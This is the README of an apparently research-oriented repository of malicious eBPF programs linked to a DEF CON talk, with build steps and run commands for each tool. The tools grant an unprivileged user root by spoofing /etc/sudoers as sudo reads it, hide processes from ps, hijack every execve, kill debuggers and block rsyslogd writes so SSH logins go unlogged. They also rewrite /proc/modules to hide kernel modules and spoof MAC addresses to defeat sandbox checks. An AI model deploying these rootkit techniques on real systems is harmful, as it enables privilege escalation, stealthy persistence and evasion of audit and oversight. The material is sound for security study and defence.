A collection of malicious eBPF programs that make use of eBPF's ability to read and write user data in between the usermode program and the kernel.
See my blog and my DEF CON talk for an overview on how thee programs work and why this is interesting.
Examples have been tested on:
- Ubuntu 22.04
To use pre-build binaries, grab them from the Releases page.
To build from source, do the following:
To build and run all the examples, you will need a Linux kernel version of at least 4.7.
As this code makes use of CO-RE, it requires a recent version of Linux that has BTF Type information.
See these notes in the libbpf README
for more information. For example Ubuntu requries Ubuntu 20.10+.
To build it requires these dependecies:
- zlib
- libelf
- libbfd
- clang and llvm 14
- make
On Ubuntu these can be installed by
sudo apt install build-essential clang-14 llvm-14 libelf1 libelf-dev zlib1g-dev libbfd-dev libcap-dev linux-tools-common linux-tools-genericTo Build from source, recusivly clone the respository the run make in the src directory to build:
# --recursive is needed to also get the libbpf source
git clone --recursive https://github.com/pathtofile/bad-bpf.git
cd bad-bpf/src
makeThe binaries will built into bad-bpf/src/. If you encounter issues with related to vmlinux.h,
try remaking the file for your specific kernel and distribution:
cd bad-bpf/tools
./bpftool btf dump file /sys/kernel/btf/vmlinux format c > ../vmlinux/<arch>/vmlinux.hTo run, launch each program as root. Every program has a --help option
that has required arguemnts and examples.
As well as --help, every program also has a --target-ppid/-t.
This option restricts the programs' operation to only programs that are children
of the process matching this PID. This demonstrates to how affect some programs, but not others.
sudo ./bpfdosThis program raises a SIG_KILL signal to any program attempting to use the ptrace syscall, e.g. strace.
Once bpf-dos starts you can test it by running:
strace /bin/whoamisudo ./exechijackThis program intercepts all execve calls (used to create new processes) and instead makes then call
/a. To run, first ensure there is a program in the root dir /a (probably best to make is executable by all).
bad-bpf builds a simple program hijackee that simply prints out the uid and argv[0], so you can use that:
make
sudo cp ./hijackee /a
sudo chmod ugo+rx /aThen just run sudo ./exechijack.
sudo ./pidhide --pid-to-hide 2222
This program hides the process matching this pid from tools such as ps.
It works by hooking the getdents64 syscall, as ps works by looking for every sub-folder
of /proc/. PidHide unlinks the folder matching the PID, so ps only sees the folders before
and after it.
sudo ./sudoadd --username lowpriv-user
This program allows a normally low-privledged user to use sudo to become root.
It works by intercepting sudo's reading of the /etc/sudoers file, and overwriting the first line
with <username> ALL=(ALL:ALL) NOPASSWD:ALL #. This tricks sudo into thinking the user is allowed to become
root. Other programs such as cat or sudoedit are unnafected, so to those programs the file is unchanged
and the user does not have those privliges. The # at the end of the line ensures the rest of the line
is trated as a comment, so it doesn't currup the file's logic.
sudo ./writeblocker --pid 508
This program intercepts all write syscall for a given process PID. Instead of passing the data to the actual write syscall, writeblocker will instead fake the call, returning the same number of bytes that the userspaceprogram expects to be written.
Only File Descriptors > 2 will be blocked, so stdin, stdout, and stderror still work.
For example, if you block the writes for the rsyslogd process, ssh logins will
not be written to /var/log/auth.log.
sudo ./textreplace --filename /path/to/file --input foo --replace bar
This program replaces all text matching input in the file with the replace text.
This has a number of uses, for example:
To hide kernel module joydev from tools such as lsmod:
./textreplace -f /proc/modules -i 'joydev' -r 'cryptd'Spoof the MAC address of the eth0 interface:
/textreplace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'Malware conducting anti-sandbox checks might check the MAC address to look for signs it is running inside a Virtual Machine or Sandbox, and not on a 'real' machine.
NOTE: Both input and replace must be the same length, to avoid adding NULL characters to the
middle of a block of text. To enter a newline from a bash prompt, use $'\n', e.g. --replace $'text\n'.
This program works the same as Text-Replace, however it has two extra features:
- The program's configuration is alterable at runtime using eBPF Maps.
- The userspace loader can detach and exit
The filename is stored in the eBPF Map map_filename. The Key is always 0, and the value matches this struct:
struct tr_file {
char filename[50];
unsigned int filename_len;
};That is, 50 ascii characters, then an unsigned int mathcing the length of the actual filename string.
The easiest way to view and alter eBPF maps is using bpftool:
# List current config
$> bpftool map dump name map_filename
[{
"key": 0,
"value": {
"filename": "/proc/modules",
"filename_len": 13
}
}
]
# Alter filename to be 'AAAA'
$> bpftool map update name map_filename \
key hex 00 00 00 00 \
value hex 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00
# Confirm change config
$> bpftool map dump name map_filename
[{
"key": 0,
"value": {
"filename": "aaaa",
"filename_len": 4
}
}
]To alter the text to find and replace, alter the items in the Map map_text. The text to find is at key 0, and the text to replace is key 1.
The values will each match this struct:
struct tr_text {
char text[20];
unsigned int text_len;
};By running the program with --detach, the userspace loader can exit without stopping the eBPF Programs.
Before running, first make sure the bpf filesystem is mounted:
sudo mount bpffs -t bpf /sys/fs/bpfThen you can run text-replace2 detached:
./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' --detachThis will create a number of eBPF Link files under /sys/fs/bpf/textreplace.
Once loader has sucessfully run, you can check the logs by running:
sudo cat /sys/kernel/debug/tracing/trace_pipe
# confirm link files are there
sudo ls -l /sys/fs/bpf/textreplaceThen to stop, simply delete the link files:
sudo rm -r /sys/fs/bpf/textreplace